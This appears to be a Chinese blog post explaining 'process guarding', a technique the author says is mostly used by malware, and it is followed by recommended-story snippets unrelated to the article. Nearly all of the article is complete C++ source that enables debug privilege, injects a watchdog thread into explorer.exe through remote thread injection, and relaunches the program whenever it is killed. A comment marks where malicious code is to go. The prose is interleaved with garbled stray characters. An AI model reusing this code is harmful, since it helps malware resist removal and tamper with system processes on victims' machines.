安全之路 —— C++實(shí)現(xiàn)進(jìn)程守護(hù)

簡介

所謂進(jìn)程守護(hù)夕春,就是A進(jìn)程為了保護(hù)自己不被結(jié)束,創(chuàng)建了一個守護(hù)線程來保護(hù)自己承耿,一旦被結(jié)束進(jìn)程,便重新啟動伪煤。進(jìn)程守護(hù)的方法多被應(yīng)用于惡意軟件加袋,是一個保護(hù)自己進(jìn)程的一個簡單方式,在ring3下即可輕松實(shí)現(xiàn)带族。而創(chuàng)建守護(hù)線程的方法多采用遠(yuǎn)程線程注入的方式锁荔,筆者之前曾介紹過遠(yuǎn)程線程注入的基本方式,主要分為DLL遠(yuǎn)程注入無DLL遠(yuǎn)程注入蝙砌。

代碼實(shí)現(xiàn)

///////////////////////////////////////////////////////////
//
// FileName : ProcessProtectorDemo.cpp
// Creator : PeterZheng
// Date : 2018/9/06 17:32
// Comment : Process Protector
//
////////////////////////////////////////////////////////////

#pragma once

#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <string.h>
#include <string>
#include <strsafe.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <vector>

using namespace std;

#define MAX_LENGTH 255
#pragma warning(disable:4996)

//遠(yuǎn)程線程參數(shù)結(jié)構(gòu)體
typedef struct _remoteTdParams
{
    LPVOID ZWinExec;             // WinExec Function Address
    LPVOID ZOpenProcess;         // OpenProcess Function Address
    LPVOID ZWaitForSingleObject; // WaitForSingleObject Function Address
    DWORD ZPid;                  // Param => Process id
    HANDLE ZProcessHandle;       // Param => Handle
    CHAR filePath[MAX_LENGTH];   // Param => File Path
}RemoteParam;

//本地線程參數(shù)結(jié)構(gòu)體
typedef struct _localTdParams
{
    CHAR remoteProcName[MAX_LENGTH];
    DWORD localPid;
    DWORD remotePid;
    HANDLE hRemoteThread;
}LocalParam;

//字符串分割函數(shù)
BOOL SplitString(const string& s, vector<string>& v, const string& c)
{
    string::size_type pos1, pos2;
    pos2 = s.find(c);
    pos1 = 0;
    while (string::npos != pos2)
    {
        v.push_back(s.substr(pos1, pos2 - pos1));

        pos1 = pos2 + c.size();
        pos2 = s.find(c, pos1);
    }
    if (pos1 != s.length())
        v.push_back(s.substr(pos1));
    return TRUE;
}


//遠(yuǎn)程線程函數(shù)體 (守護(hù)函數(shù))
DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
    typedef UINT(WINAPI *ZWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);
    typedef HANDLE(WINAPI *ZOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
    typedef DWORD(WINAPI *ZWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
    ZWinExec ZWE;
    ZOpenProcess ZOP;
    ZWaitForSingleObject ZWFSO;
    ZWE = (ZWinExec)lprp->ZWinExec;
    ZOP = (ZOpenProcess)lprp->ZOpenProcess;
    ZWFSO = (ZWaitForSingleObject)lprp->ZWaitForSingleObject;
    lprp->ZProcessHandle = ZOP(PROCESS_ALL_ACCESS, FALSE, lprp->ZPid);
    ZWFSO(lprp->ZProcessHandle, INFINITE);
    ZWE(lprp->filePath, SW_SHOW);
    return 0;
}

//獲取PID
DWORD __cdecl GetProcessID(CHAR *ProcessName)
{
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) return 0;
    BOOL bProcess = Process32First(hProcessSnap, &pe32);
    while (bProcess)
    {
        if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
            return pe32.th32ProcessID;
        bProcess = Process32Next(hProcessSnap, &pe32);
    }
    CloseHandle(hProcessSnap);
    return 0;
}

//獲取權(quán)限
int __cdecl EnableDebugPriv(const TCHAR *name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
        &hToken)) return 1;
    if (!LookupPrivilegeValue(NULL, name, &luid)) return 1;
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;
    if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return 1;
    return 0;
}

//線程注入函數(shù)
BOOL __cdecl InjectProcess(const DWORD dwRemotePid, const DWORD dwLocalPid, HANDLE& hThread)
{
    if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
    HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemotePid);
    if (!hWnd) return FALSE;
    RemoteParam rp;
    ZeroMemory(&rp, sizeof(RemoteParam));
    rp.ZOpenProcess = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "OpenProcess");
    rp.ZWinExec = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WinExec");
    rp.ZWaitForSingleObject = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WaitForSingleObject");
    rp.ZPid = dwLocalPid;
    CHAR szPath[MAX_LENGTH] = "\0";
    GetModuleFileName(NULL, szPath, sizeof(szPath));
    StringCchCopy(rp.filePath, sizeof(rp.filePath), szPath);
    RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteParam) return FALSE;
    if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
    LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteThread) return FALSE;
    if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
    hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
    if (!hThread) return FALSE;
    return TRUE;
}

//遠(yuǎn)程線程監(jiān)控函數(shù)(本地線程函數(shù))
DWORD WINAPI WatchFuncData(LPVOID lprarm)
{
    HANDLE hRemoteThread = ((LocalParam*)lprarm)->hRemoteThread;
    DWORD dwLocalPid = ((LocalParam*)lprarm)->localPid;
    DWORD dwRemotePid = ((LocalParam*)lprarm)->remotePid;
    CHAR szRemoteProcName[MAX_LENGTH] = "\0";
    StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), ((LocalParam*)lprarm)->remoteProcName);
    DWORD exitCode = 0;
    while (TRUE)
    {
        if (!hRemoteThread) InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
        GetExitCodeThread(hRemoteThread, &exitCode);
        if (exitCode^STILL_ACTIVE)
        {
            WinExec(szRemoteProcName, SW_HIDE);
            dwRemotePid = GetProcessID(szRemoteProcName);
            InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
        }
        Sleep(1000);
    }
    return 0;
}

//主函數(shù)
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
    LocalParam lpLp;
    ZeroMemory(&lpLp, sizeof(LocalParam));
    CHAR szRemoteProcName[MAX_LENGTH] = "\0";
    CHAR szLocalProcName[MAX_LENGTH] = "\0";
    CHAR currentFilePath[MAX_LENGTH] = "\0";
    vector<string> pathGroup;
    GetModuleFileName(NULL, currentFilePath, sizeof(currentFilePath));
    SplitString(currentFilePath, pathGroup, "\\");
    StringCchCopy(szLocalProcName, sizeof(szLocalProcName), pathGroup[pathGroup.size() - 1].c_str());
    StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), "explorer.exe");
    StringCchCopy(szLocalProcName, sizeof(szLocalProcName), szLocalProcName);
    StringCchCopy(lpLp.remoteProcName, sizeof(lpLp.remoteProcName), szRemoteProcName);
    DWORD dwRemotePid = GetProcessID(szRemoteProcName);
    DWORD dwLocalPid = GetProcessID(szLocalProcName);
    HANDLE hThread = NULL;
    lpLp.remotePid = dwRemotePid;
    lpLp.localPid = dwLocalPid;
    hThread = CreateThread(NULL, 0, WatchFuncData, LPVOID(&lpLp), 0, 0);
    //....插入惡意代碼等工作流程
    while (TRUE)
    {
        MessageBox(NULL, "Hello!!", "HAHA!! XDD", MB_OK);
    }
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市跋理,隨后出現(xiàn)的幾起案子择克,更是在濱河造成了極大的恐慌,老刑警劉巖前普,帶你破解...
    沈念sama閱讀 212,080評論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件肚邢,死亡現(xiàn)場離奇詭異,居然都是意外死亡拭卿,警方通過查閱死者的電腦和手機(jī)骡湖,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,422評論 3 385
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來峻厚,“玉大人响蕴,你說我怎么就攤上這事』萏遥” “怎么了浦夷?”我有些...
    開封第一講書人閱讀 157,630評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長辜王。 經(jīng)常有香客問我劈狐,道長,這世上最難降的妖魔是什么呐馆? 我笑而不...
    開封第一講書人閱讀 56,554評論 1 284
  • 正文 為了忘掉前任肥缔,我火速辦了婚禮,結(jié)果婚禮上汹来,老公的妹妹穿的比我還像新娘续膳。我一直安慰自己改艇,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,662評論 6 386
  • 文/花漫 我一把揭開白布姑宽。 她就那樣靜靜地躺著遣耍,像睡著了一般。 火紅的嫁衣襯著肌膚如雪炮车。 梳的紋絲不亂的頭發(fā)上舵变,一...
    開封第一講書人閱讀 49,856評論 1 290
  • 那天,我揣著相機(jī)與錄音瘦穆,去河邊找鬼纪隙。 笑死,一個胖子當(dāng)著我的面吹牛扛或,可吹牛的內(nèi)容都是我干的绵咱。 我是一名探鬼主播,決...
    沈念sama閱讀 39,014評論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼熙兔,長吁一口氣:“原來是場噩夢啊……” “哼悲伶!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起住涉,我...
    開封第一講書人閱讀 37,752評論 0 268
  • 序言:老撾萬榮一對情侶失蹤麸锉,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后舆声,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體花沉,經(jīng)...
    沈念sama閱讀 44,212評論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,541評論 2 327
  • 正文 我和宋清朗相戀三年媳握,在試婚紗的時候發(fā)現(xiàn)自己被綠了碱屁。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,687評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡蛾找,死狀恐怖娩脾,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情腋粥,我是刑警寧澤晦雨,帶...
    沈念sama閱讀 34,347評論 4 331
  • 正文 年R本政府宣布,位于F島的核電站隘冲,受9級特大地震影響闹瞧,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜展辞,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,973評論 3 315
  • 文/蒙蒙 一奥邮、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦洽腺、人聲如沸脚粟。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,777評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽核无。三九已至,卻和暖如春藕坯,著一層夾襖步出監(jiān)牢的瞬間团南,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,006評論 1 266
  • 我被黑心中介騙來泰國打工炼彪, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留吐根,地道東北人。 一個月前我還...
    沈念sama閱讀 46,406評論 2 360
  • 正文 我出身青樓辐马,卻偏偏與公主長得像拷橘,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子喜爷,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,576評論 2 349

推薦閱讀更多精彩內(nèi)容